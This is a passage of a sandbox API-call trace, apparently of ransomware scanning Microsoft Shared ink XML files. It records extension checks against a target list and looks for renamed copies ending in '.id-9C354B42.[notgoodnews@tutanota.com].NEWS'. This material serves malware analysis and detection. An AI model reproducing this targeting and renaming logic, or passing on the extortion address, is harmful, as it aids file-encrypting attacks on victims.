lpString2="xml") returned -1 [0207.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0207.166] lstrlenW (lpString=".dbf") returned 4 [0207.166] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0207.166] lstrlenW (lpString=".1cd") returned 4 [0207.166] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0207.166] lstrlenW (lpString=".jpg") returned 4 [0207.167] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.167] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0207.167] lstrlenW (lpString="ipscsy.xml") returned 10 [0207.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0209.609] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2556) returned 1 [0209.609] CloseHandle (hObject=0x288) returned 1 [0209.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0209.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0209.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0209.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0209.610] lstrlenW (lpString=".doc") returned 4 [0209.610] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0209.610] lstrlenW (lpString=".docx") returned 5 [0209.611] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0209.611] lstrlenW (lpString=".pdf") returned 4 [0209.611] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0209.611] lstrlenW (lpString=".xls") returned 4 [0209.611] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0209.611] lstrlenW (lpString=".xlsx") returned 5 [0209.611] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0209.611] lstrlenW (lpString=".ppt") returned 4 [0209.611] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0209.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0209.611] lstrlenW (lpString=".zip") returned 4 [0209.611] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0209.612] lstrlenW (lpString=".rar") returned 4 [0209.612] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0209.612] lstrlenW (lpString=".bz2") returned 4 [0209.612] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0209.612] lstrlenW (lpString=".7z") returned 3 [0209.612] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0209.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0209.612] lstrlenW (lpString=".dbf") returned 4 [0209.612] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0209.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0209.612] lstrlenW (lpString=".1cd") returned 4 [0209.613] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0209.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0209.613] lstrlenW (lpString=".jpg") returned 4 [0209.613] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0209.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0209.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0209.613] lstrlenW (lpString=".doc") returned 4 [0209.613] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0209.613] lstrlenW (lpString=".docx") returned 5 [0209.613] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0209.613] lstrlenW (lpString=".pdf") returned 4 [0209.613] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0209.614] lstrlenW (lpString=".xls") returned 4 [0209.614] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0209.614] lstrlenW (lpString=".xlsx") returned 5 [0209.614] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0209.614] lstrlenW (lpString=".ppt") returned 4 [0209.614] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0209.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0209.614] lstrlenW (lpString=".zip") returned 4 [0209.614] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0209.614] lstrlenW (lpString=".rar") returned 4 [0209.614] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0209.615] lstrlenW (lpString=".bz2") returned 4 [0209.615] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0209.615] lstrlenW (lpString=".7z") returned 3 [0209.615] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0209.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0209.615] lstrlenW (lpString=".dbf") returned 4 [0209.615] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0209.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0209.615] lstrlenW (lpString=".1cd") returned 4 [0209.615] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0209.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0209.615] lstrlenW (lpString=".jpg") returned 4 [0209.615] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0209.616] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0209.616] lstrlenW (lpString="ipshrv.xml") returned 10 [0209.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0209.617] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2652) returned 1 [0209.617] CloseHandle (hObject=0x288) returned 1 [0209.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0209.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0209.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0209.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0209.618] lstrlenW (lpString=".doc") returned 4 [0209.618] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0209.618] lstrlenW (lpString=".docx") returned 5 [0209.618] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0209.618] lstrlenW (lpString=".pdf") returned 4 [0209.618] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0209.618] lstrlenW (lpString=".xls") returned 4 [0209.619] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0209.619] lstrlenW (lpString=".xlsx") returned 5 [0209.619] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0209.619] lstrlenW (lpString=".ppt") returned 4 [0209.619] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0209.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0209.619] lstrlenW (lpString=".zip") returned 4 [0209.619] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0209.619] lstrlenW (lpString=".rar") returned 4 [0209.619] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0209.619] lstrlenW (lpString=".bz2") returned 4 [0209.619] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0209.619] lstrlenW (lpString=".7z") returned 3 [0209.619] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0209.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0209.620] lstrlenW (lpString=".dbf") returned 4 [0209.620] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0209.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0209.620] lstrlenW (lpString=".1cd") returned 4 [0209.620] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0209.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0209.620] lstrlenW (lpString=".jpg") returned 4 [0209.620] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0209.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0209.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0209.621] lstrlenW (lpString=".doc") returned 4 [0209.621] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0209.621] lstrlenW (lpString=".docx") returned 5 [0209.621] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0209.621] lstrlenW (lpString=".pdf") returned 4 [0209.621] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0209.621] lstrlenW (lpString=".xls") returned 4 [0209.621] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0209.621] lstrlenW (lpString=".xlsx") returned 5 [0209.622] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0209.622] lstrlenW (lpString=".ppt") returned 4 [0209.622] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0209.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0209.622] lstrlenW (lpString=".zip") returned 4 [0209.622] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0209.622] lstrlenW (lpString=".rar") returned 4 [0209.622] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0209.622] lstrlenW (lpString=".bz2") returned 4 [0209.622] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0209.622] lstrlenW (lpString=".7z") returned 3 [0209.622] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0209.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0209.623] lstrlenW (lpString=".dbf") returned 4 [0209.623] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0209.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0209.623] lstrlenW (lpString=".1cd") returned 4 [0209.623] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0209.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0209.623] lstrlenW (lpString=".jpg") returned 4 [0209.623] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0209.624] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0209.624] lstrlenW (lpString="ipsita.xml") returned 10 [0209.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0209.625] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2526) returned 1 [0209.625] CloseHandle (hObject=0x288) returned 1 [0209.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0209.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0209.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0209.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0209.626] lstrlenW (lpString=".doc") returned 4 [0209.626] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0209.626] lstrlenW (lpString=".docx") returned 5 [0209.626] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0209.626] lstrlenW (lpString=".pdf") returned 4 [0209.626] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0209.626] lstrlenW (lpString=".xls") returned 4 [0209.627] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0209.627] lstrlenW (lpString=".xlsx") returned 5 [0209.627] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0209.627] lstrlenW (lpString=".ppt") returned 4 [0209.627] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0209.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0209.627] lstrlenW (lpString=".zip") returned 4 [0209.627] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0209.627] lstrlenW (lpString=".rar") returned 4 [0209.627] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0209.627] lstrlenW (lpString=".bz2") returned 4 [0209.627] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0209.627] lstrlenW (lpString=".7z") returned 3 [0209.628] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0209.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0209.628] lstrlenW (lpString=".dbf") returned 4 [0209.628] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0209.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0209.628] lstrlenW (lpString=".1cd") returned 4 [0209.628] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0209.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0209.628] lstrlenW (lpString=".jpg") returned 4 [0209.628] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0209.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0209.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0209.629] lstrlenW (lpString=".doc") returned 4 [0209.629] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0209.629] lstrlenW (lpString=".docx") returned 5 [0209.629] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0209.629] lstrlenW (lpString=".pdf") returned 4 [0209.629] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0209.629] lstrlenW (lpString=".xls") returned 4 [0209.629] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0209.629] lstrlenW (lpString=".xlsx") returned 5 [0209.629] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0209.629] lstrlenW (lpString=".ppt") returned 4 [0209.630] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0209.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0209.630] lstrlenW (lpString=".zip") returned 4 [0209.630] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0209.630] lstrlenW (lpString=".rar") returned 4 [0209.630] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0209.630] lstrlenW (lpString=".bz2") returned 4 [0209.630] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0209.630] lstrlenW (lpString=".7z") returned 3 [0209.630] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0209.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0209.630] lstrlenW (lpString=".dbf") returned 4 [0209.630] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0209.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0209.631] lstrlenW (lpString=".1cd") returned 4 [0209.631] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0209.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0209.631] lstrlenW (lpString=".jpg") returned 4 [0209.631] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0209.631] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0209.632] lstrlenW (lpString="ipsjpn.xml") returned 10 [0209.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0209.633] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2522) returned 1 [0209.633] CloseHandle (hObject=0x288) returned 1 [0209.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0209.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0209.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0209.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0209.634] lstrlenW (lpString=".doc") returned 4 [0209.634] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0209.634] lstrlenW (lpString=".docx") returned 5 [0209.634] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0209.634] lstrlenW (lpString=".pdf") returned 4 [0209.634] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0209.635] lstrlenW (lpString=".xls") returned 4 [0209.635] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0209.635] lstrlenW (lpString=".xlsx") returned 5 [0209.635] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0209.635] lstrlenW (lpString=".ppt") returned 4 [0209.635] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0209.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0209.635] lstrlenW (lpString=".zip") returned 4 [0209.635] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0209.635] lstrlenW (lpString=".rar") returned 4 [0209.636] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0209.636] lstrlenW (lpString=".bz2") returned 4 [0209.636] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0209.636] lstrlenW (lpString=".7z") returned 3 [0209.636] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0209.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0209.636] lstrlenW (lpString=".dbf") returned 4 [0209.636] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0209.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0209.636] lstrlenW (lpString=".1cd") returned 4 [0209.636] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0209.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0209.637] lstrlenW (lpString=".jpg") returned 4 [0209.637] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0209.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0209.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0209.637] lstrlenW (lpString=".doc") returned 4 [0209.637] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0209.637] lstrlenW (lpString=".docx") returned 5 [0209.637] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0209.637] lstrlenW (lpString=".pdf") returned 4 [0209.638] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0209.638] lstrlenW (lpString=".xls") returned 4 [0209.638] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0209.638] lstrlenW (lpString=".xlsx") returned 5 [0209.638] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0209.638] lstrlenW (lpString=".ppt") returned 4 [0209.638] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0209.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0209.638] lstrlenW (lpString=".zip") returned 4 [0209.638] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0209.638] lstrlenW (lpString=".rar") returned 4 [0209.638] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0209.639] lstrlenW (lpString=".bz2") returned 4 [0209.639] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0209.639] lstrlenW (lpString=".7z") returned 3 [0209.639] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0209.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0209.639] lstrlenW (lpString=".dbf") returned 4 [0209.639] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0209.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0209.639] lstrlenW (lpString=".1cd") returned 4 [0209.639] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0209.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0209.640] lstrlenW (lpString=".jpg") returned 4 [0209.640] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0209.640] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0209.640] lstrlenW (lpString="ipskor.xml") returned 10 [0209.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0209.641] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2568) returned 1 [0209.641] CloseHandle (hObject=0x288) returned 1 [0209.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0209.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0209.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0209.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0209.642] lstrlenW (lpString=".doc") returned 4 [0209.642] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0209.642] lstrlenW (lpString=".docx") returned 5 [0209.642] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0209.642] lstrlenW (lpString=".pdf") returned 4 [0209.642] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0209.643] lstrlenW (lpString=".xls") returned 4 [0209.643] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0209.643] lstrlenW (lpString=".xlsx") returned 5 [0209.643] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0209.643] lstrlenW (lpString=".ppt") returned 4 [0209.643] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0209.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0209.643] lstrlenW (lpString=".zip") returned 4 [0209.643] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0209.643] lstrlenW (lpString=".rar") returned 4 [0209.643] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0209.643] lstrlenW (lpString=".bz2") returned 4 [0209.644] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0209.644] lstrlenW (lpString=".7z") returned 3 [0209.644] 